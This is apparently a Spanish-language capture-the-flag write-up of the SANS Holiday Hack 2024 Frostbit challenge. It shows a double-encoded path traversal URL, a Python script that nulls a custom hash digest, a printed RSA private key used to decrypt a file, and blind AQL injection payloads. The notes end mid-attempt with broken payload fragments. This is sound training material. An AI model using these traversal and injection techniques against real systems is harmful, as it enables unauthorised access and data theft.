SANS Holiday Hack 2024: final de Frostbit

Descifrado de la lista de buenos y malos y desactivación de Frostbit mediante debilidades del hash e inyección AQL a ciegas.

Descifrar la lista de buenos y malos

Pistas

Hash de Frostbit

La infraestructura de Frostbit podría usar un proxy inverso que resuelva ciertos patrones de codificación URL antes de reenviar las peticiones al backend. El proxy puede rechazar solicitudes que considere inválidas. Quizá haya que buscar una forma creativa de que la petición llegue correctamente al servidor. Una petición con rutas relativas, bytes codificados y valores conocidos de otros artefactos forenses podría aprovechar la biblioteca criptográfica y revelar un secreto necesario para descifrar los archivos de Frostbit.

Modo de desarrollo de Frostbit

Un nuevo ransomware llamado Frostbit se está propagando por el Polo Norte. Su infraestructura parece código en el que trabajé, pero alguien lo modificó para el ransomware. Si es nuestro código y no han desactivado el modo de desarrollo, quizá podamos pasar opciones adicionales para obtener más información. Si reutilizan nuestro código o hardware, puede que también emita mensajes MQTT.

Criptografía de Frostbit

Frostbit parece usar varios métodos de cifrado. Incluso tras retirar TLS, algunos valores parecen cifrados asimétricamente, posiblemente mediante PKI. La infraestructura también podría usar criptografía propia para consultar el estado del ransomware. Si reutilizaron nuestra criptografía, quizá dependan de una versión antigua de una biblioteca con vulnerabilidades conocidas. Puede que logremos que revele qué biblioteca utiliza.

Análisis forense de Frostbit

Soy del equipo de ciberseguridad del Polo Norte. Creamos un potente EDR que captura memoria de procesos, tráfico de red y muestras de malware. Es útil en respuesta a incidentes: podemos buscar secretos con strings, descifrar tráfico y usar strace para ver qué hace o ejecuta el malware.

Hallazgos

En el archivo .13 encontré:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51
POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
'G5{"{

{"digest":"80210560000230008104003000384544","status":"Key Set",POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key

https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544

Por ahora sé que el servidor del ransomware está en api.frostbit.app.

Un escaneo con nmap devuelve:

b0n3sh@b0n3sh-d3n:~$ nmap 34.173.241.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 01:54 CET
Nmap scan report for 47.241.173.34.bc.googleusercontent.com (34.173.241.47)
Host is up (0.17s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
53/tcp   closed domain
80/tcp   open   http
443/tcp  open   https
3389/tcp closed ms-wbt-server

Recordé que en el reto anterior, Santa Vision, tenía frostbitfeed. Allí encontramos esta información:

While good backups are important, they won't prevent frostbite
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
To prevent frostbite, you should wear appropriate clothing and cover exposed skin and ports
Frostbite can occur in as little as 30 minutes in extreme cold - faster in flat networks
Frostbit is a leading cause of network downtime
Additional messages available in santafeed
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
Do you conduct regular frostbite preparedness exercises?

Parece que podemos combinar las peticiones:

  1. La recuperada del volcado de memoria. api.frostbit.app/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key
  2. Con la encontrada en frostbitfeed. Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley Es decir, usar ese UUID y la ruta de desactivación. https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate

Pasamos de: {"error":"Invalid API Path"} A: {"error":"Invalid Request"}

Parece que vamos bien. Ahora hay que añadir la cabecera authHeader: X-API-Key y averiguar de dónde sacar esa X-API-KEY.

No pude avanzar por aquí, así que volví a Wireshark.

Descifré el tráfico TLS con los secretos del volcado:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51

Vi una petición GET a /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/session, la repetí y obtuve esto: {"nonce":"c8724d3b36481112"}

Busqué todas las peticiones al host api.frostbit.app en el volcado y encontré una incompleta que consultaba: https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=8021blabla, pero el digest estaba roto, así que lo sustituí por el que aparecía en el JSON.

Y entré en el panel:

Captura del reto Frostbit

En el código fuente hay un script con referencias al descifrado y la desactivación para el frontend, pero parecen constantes procedentes del servidor. Tampoco consigo activar el modo de depuración.

Sí que puedo: añadí el parámetro ?debug=true a la ruta /view/<key_id>/status. Y obtuve datos:

Captura del reto Frostbit

{"uuid": "0769cce0-369a-40c6-8350-870af7e77eb6", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400}

¿Y ahora qué? Si tenemos debug=true, quizá podamos provocar errores que revelen información.

Modifiqué status_id_file, el primer segmento de la ruta, sin éxito: {"debug":true,"error":"Status Id File Not Found"}

Después cambié el segundo, el UUID, también sin éxito: {"debug":true,"error":"Invalid UUID Format"}

Luego modifiqué el digest, que era lo más lógico: Si sustituyo un símbolo: {"debug":true,"error":"Invalid Status Id or Digest"} Pero si elimino uno: {"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}

El error hace referencia al archivo FrostBiteHashlib, así que intenté acceder a él: https://api.frostbit.app/static/FrostBiteHashlib.py

import traceback
import binascii

class Frostbyte128:
    def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
        self.file_bytes = file_bytes
        self.filename_bytes = filename_bytes
        self.filename_bytes_length = len(self.filename_bytes)
        self.nonce_bytes = nonce_bytes
        self.nonce_bytes_length = len(self.nonce_bytes)
        self.hash_length = hash_length
        self.hash_result = self._compute_hash()

    def _compute_hash(self) -> bytes:
        hash_result = bytearray(self.hash_length)
        count = 0

        for i in range(len(self.file_bytes)):
            xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
            hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
            count += 1

        for i in range(len(self.filename_bytes)):
            count_mod = count % self.hash_length
            count_filename_mod = count % self.filename_bytes_length
            count_nonce_mod = count % self.nonce_bytes_length
            xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
            hash_result[count_mod] = hash_result[count_mod] & xrd
            count += 1

        return bytes(hash_result)

    def digest(self) -> bytes:
        """Returns the raw binary hash result."""
        return self.hash_result

    def hexdigest(self) -> str:
        """Returns the hash result as a hexadecimal string."""
        return binascii.hexlify(self.hash_result).decode()

    def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
        """Updates the internal state with new bytes and recomputes the hash."""
        if file_bytes is not None:
            self.file_bytes = file_bytes
        if filename_bytes is not None:
            self.filename_bytes = filename_bytes
        if nonce_bytes is not None:
            self.nonce_bytes = nonce_bytes

        self.hash_result = self._compute_hash()

    def validate(self, hex_string: str):
        """Validates if the provided hex string matches the computed hash."""
        try:
            decoded_bytes = binascii.unhexlify(hex_string)
            if decoded_bytes == self.digest():
                return True, None
        except Exception as e:
            stack_trace = traceback.format_exc()
            return False, f"{stack_trace}"
        return False, None

Dejo el descifrado un momento y pruebo la desactivación.

Tengo la URL y, con debug=true, obtengo {"debug":true,"error":"Invalid Key"}.

Había oído hablar de un path traversal en el identificador. Probé rutas relativas y codificación, como indicaba la pista, sin éxito.

Hasta que probé: /view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true

Ataque de doble codificación. Y obtuve: {"debug":true,"error":"Invalid Status Id or Digest"} También pasa con más niveles de codificación. ¿Es ../../../etc/passwd equivalente a seguir añadiendo segmentos ../ antes de etc/passwd? Sí, claro.

https://api.frostbit.app/view/%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf00000000000000000000000000%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=00000000000000000000000000000000&debug=true

from binascii import hexlify
file_bytes = b'Welcome to our online Morse Code Audio Decoder, a powerful tool designed to help you decode Morse code messages from audio recordings. With our user-friendly decoder, you can easily convert Morse code audio into readable text and unlock the hidden messages within.'
#file_bytes = b'Although manual decoding of Morse code audio can achieve information conversion to a certain extent, its shortcomings are also obvious. Firstly, Morse code decoding requires specialized knowledge, and not everyone can easily master it. Secondly, the manual decoding process is cumbersome and er'
#file_bytes = bytes.fromhex('ffffffffffffffffffffffffffff')
filename_bytes = b'\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf0000000000000000000000/../../../../../etc/passwd'
filename_bytes_length = len(filename_bytes)
nonce_bytes = bytes.fromhex('c8724d3b36481112')
nonce_bytes_length = len(nonce_bytes)

hash_length = 16

hash_result = bytearray(hash_length)
count = 0

for i in range(len(file_bytes)):
    xrd = file_bytes[i] ^ nonce_bytes[i % nonce_bytes_length]
    hash_result[count % hash_length] = hash_result[count % hash_length] ^ xrd
    count += 1
print(hexlify(hash_result))

print("=====")
for count in range(32):
    for i in range(len(hash_result)):
        hash_result[i] = 0xff
    #print(hexlify(hash_result))

    for i in range(len(filename_bytes)):
        count_mod = count % hash_length
        count_filename_mod = count % filename_bytes_length
        count_nonce_mod = count % nonce_bytes_length
        xrd = filename_bytes[count_filename_mod] ^ nonce_bytes[count_nonce_mod]
        hash_result[count_mod] = hash_result[count_mod] & xrd
        count += 1

    print(hexlify(hash_result))

Mi idea era correcta. No controlamos el primer bucle, el que procesa file_bytes. Intervienen tres datos:

  • file_bytes: contenido del archivo, que no controlamos.
  • filename: nombre del archivo, que controlamos por completo.
  • nonce: lo conocemos, pero no podemos modificarlo. También enviamos el digest como parámetro de consulta, así que podemos adaptarlo.

El primer bucle no nos interesa. El segundo recorre el nombre del archivo, calcula el XOR entre el nonce y el nombre, y aplica un AND con el valor que ya había en esa posición del resultado.

Ahí está el truco: si conseguimos que xrd valga cero, podemos poner todo el resultado a cero, porque x AND 0 siempre es cero. Como no sabemos qué bits valen uno o cero, usamos dos pasadas con patrones opuestos en el nombre. Al hacer XOR con el nonce y después AND entre los resultados, acabamos anulando los bits.

En mis notas partí de una longitud de 16 para el hash y el nonce; el código anterior muestra las longitudes utilizadas. Elegimos dos caracteres opuestos: h y %2597. Recordemos la doble codificación: %97 representa 0x97.

h = 0b

Sabiendo cómo anular el digest, visité: https://api.frostbit.app/view/%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597hhhhhhhhhhhhhhhhhhhhh%252f..%252f..%252f..%252f..%252f..%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/a4bb60d0-84da-4f2e-ab94-391781565331/status?digest=00000000000000000000000000000000&debug=true

Y encontré la clave privada RSA del certificado TLS:

Captura del reto Frostbit

-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

Lo habitual sería que encryptedkey, enviado como JSON sobre TLS, estuviese cifrado asimétricamente, y que el CSV estuviese cifrado simétricamente con esa clave.

Desciframos encryptedkey:

  {"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
  1. Extraemos encryptedkey.
  54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466"
  1. Lo convertimos a bytes. $ xxd -p -r "<encryptedkey>" > encryptedkey_bytes.bin
  2. Lo desciframos. $ openssl pkeyutl -in encryptedkey_bytes.bin -inkey pwnkey.pem -decrypt Y obtenemos: 883d240bf58b8c6a149859ce6553ce4e,c8724d3b36481112

Son dos valores separados por coma. El segundo coincide con nuestro nonce, señal de que el descifrado es correcto.

El primero debería ser la clave utilizada para cifrar el archivo.

Con CyberChef funcionó:

Captura del reto Frostbit

La configuración era:

AES Decrypt
Key(UTF8)=883d240bf58b8c6a149859ce6553ce4e
IV(HEX)=c8724d3b36481112000000000000000
Mode=CBC/NoPadding
Input=Raw
Output=Raw

Obtuve el CSV, busqué la línea 440 y envié la flag. Listo.

Con openssl sería: openssl enc -aes-256-cbc -d -in naughty_nice_list.csv.frostbit -K "$(echo -n '883d240bf58b8c6a149859ce6553ce4e' | xxd -p -c0)" -iv "00000000000000000000000000000000" Cuidado con las columnas adicionales de xxd: hay que pasar -c 0.

Tareas

  • Entender cómo anular el digest.
  • Entender el problema del IV en CyberChef al descifrar el archivo.
  • Revisar por qué el descifrado con la CLI de OpenSSL no funcionaba.
  • Añadir la doble codificación a Anki.

URLs

Desactivar la publicación de la lista de buenos y malos de Frostbit

Pistas

Publicación de Frostbit

Tiene que haber una forma de desactivar la publicación de datos del servidor del ransomware. Quizá otro recurso del Polo Norte haya revelado la ruta de desactivación. Si es así, podríamos hacer que la infraestructura de Frostbit revelase más detalles.

El sueño de Frostbit

El autor de Frostbit quizá haya bloqueado ciertos caracteres, verbos y formas simples de saltarse la autenticación, dejándonos a ciegas. Puede que tengamos que provocar respuestas distintas según la entrada y medirlas. Si conocemos la tecnología de almacenamiento, podemos reproducirla localmente con Docker para desarrollar y probar técnicas y payloads con más conocimiento de su funcionamiento.

Resolución

De Santa Vision tenemos el endpoint /deactivate:

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

Envié una petición, pero la clave era inválida. Probé la cabecera x-api-key; con el valor ''''ýgUUaý' ýýý obtuve:


{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate?debug=true

El motor de base de datos parece ser ArangoDB, con AQL.

Algunos caracteres, como /, están bloqueados. Quizá funcione la doble codificación, ya que probablemente sea el mismo WAF del reto de descifrado.

'' provoca un error por tiempo de espera. Pero el siguiente caso no: Esto resulta interesante, porque parece que: ' OR 1==1 -- -' comenta correctamente el resto con --.

No parece ser el camino adecuado; no avanzo.

Voy a comprobar qué funciones están bloqueadas y cuáles no:

Funciones bloqueadas y permitidas:

====== Blocked =======
STARTS_WITH => Match the value of the attribute that starts with `prefix`
FLATTEN => expands arrays
REMOVE_VALUES => remove values
MERGE => merge documents
MERGE_RECURSIVE => merge documents
TRANSLATE => replace
UNSET => remove attributes
UNSET_RECURSIVE => remove attributes
VALUES  => return values of a document
ZIP => assembly of parameters
FIRST_DOCUMENT  => get first document that matches a criteria
CHECK_DOCUMENT => is it a valid  document
DOCUMENT => lookup document
APPLY => call a function (like exec)
STARTS_WITH => search prefix
IS_DOCUMENT => is document

======== Non blocked =======
HAS
LENGTH
COLLECTIONS
ANALYZER
BOOST
EXISTS
IN_RANGE
MIN_MATCH
MINHASH_MATCH
NGRAM_MATCH
PHRASE
LEVENSHTEIN_MATCH
LIKE
GEO_CONTAINS
GEO_DISTANCE
GEO_IN_RANGE
GEO_INTERSECTS
BM25
TFIDF
OFFSET_INFO
APPEND
CONTAINS_ARRAY
COUNT
COUNT_DISTINCT
COUNT_UNIQUE
FIRST
INTERLEAVE
INTERSECTION
JACCARD
LAST
LENGTH
MINUS
NTH
OUTERSECTION
POP
POSITION
PUSH
REMOVE_NTH
REPLACE_NTH
REMOVE_VALUE
REVERSE
SHIFT
SLICE
SORTED
SORTED_UNIQUE
UNION
UNION_DISTINCT
UNIQUE
UNSHIFT
BIT_AND
BIT_CONSTRUCT
BIT_DECONSTRUCT
BIT_FROM_STRING
BIT_NEGATE
BIT_OR
BIT_POPCOUNT
BIT_SHIFT_LEFT
BIT_SHIFT_RIGHT
BIT_TEST
BIT_TO_STRING
BIT_XOR
ATTRIBUTES
COUNT
HAS
IS_SAME_COLLECTION
KEEP
KEEP_RECURSIVE
KEYS
LENGTH
MATCHES
PARSE_IDENTIFIER
VALUE
FULLTEXT
FIRST_LIST
MIN_MATCH
NOT_NULL
operator
COLLECTION_COUNT
COLLECTIONS
COUNT
CURRENT_DATABASE
CURRENT_USER
DECODE_REV
LENGTH
SHARD_ID
HASH
MINHASH
MINHASH_COUNT
MINHASH_ERROR
hashing
CALL
WARN
IN_RANGE
PREGEL_RESULT
FAIL
NOEVAL
PASSTHRU
SCHEMA_GET
SCHEMA_VALIDATE
SLEEP
V8
VERSION
CHAR_LENGTH
CONCAT
CONCAT_SEPARATOR
CONTAINS
COUNT
CRC32
ENCODE_URI_COMPONENT
FIND_FIRST
FIND_LAST
FNV64
IPV4_FROM_NUMBER
IPV4_TO_NUMBER
IS_IPV4
JSON_PARSE
JSON_STRINGIFY
LEFT
LENGTH
LEVENSHTEIN_DISTANCE
LIKE
LOWER
LTRIM
MD5
NGRAM_POSITIONAL_SIMILARITY
NGRAM_SIMILARITY
RANDOM_TOKEN
REGEX_MATCHES
REGEX_SPLIT
REGEX_TEST
REGEX_REPLACE
REVERSE
RIGHT
RTRIM
SHA1
SHA512
SOUNDEX
SPLIT
SUBSTITUTE
SUBSTRING
SUBSTRING_BYTES
TOKENS
TO_BASE64
TO_HEX
TRIM
UPPER
UUID
TO_BOOL
TO_NUMBER
TO_STRING
TO_ARRAY
TO_LIST
IS_NULL
IS_BOOL
IS_NUMBER
IS_STRING
IS_ARRAY
IS_LIST
IS_OBJECT
IS_DATESTRING
IS_IPV4
IS_KEY
TYPENAME

Estas consultas parecen prometedoras: ' AND '1'=='2 ' AND '1'=='1

Pero obtengo el mismo resultado.

X-Api-Key: ’ + CONCAT(‘RE’, ‘TURN doc’) —

Priority: u=0, i X-Api-Key: ’ OR (FOR i IN CONCATENATE(“RAN”, “GE” (1, 10000000) CONCATENATE(“RE”, “TURN) i) —/

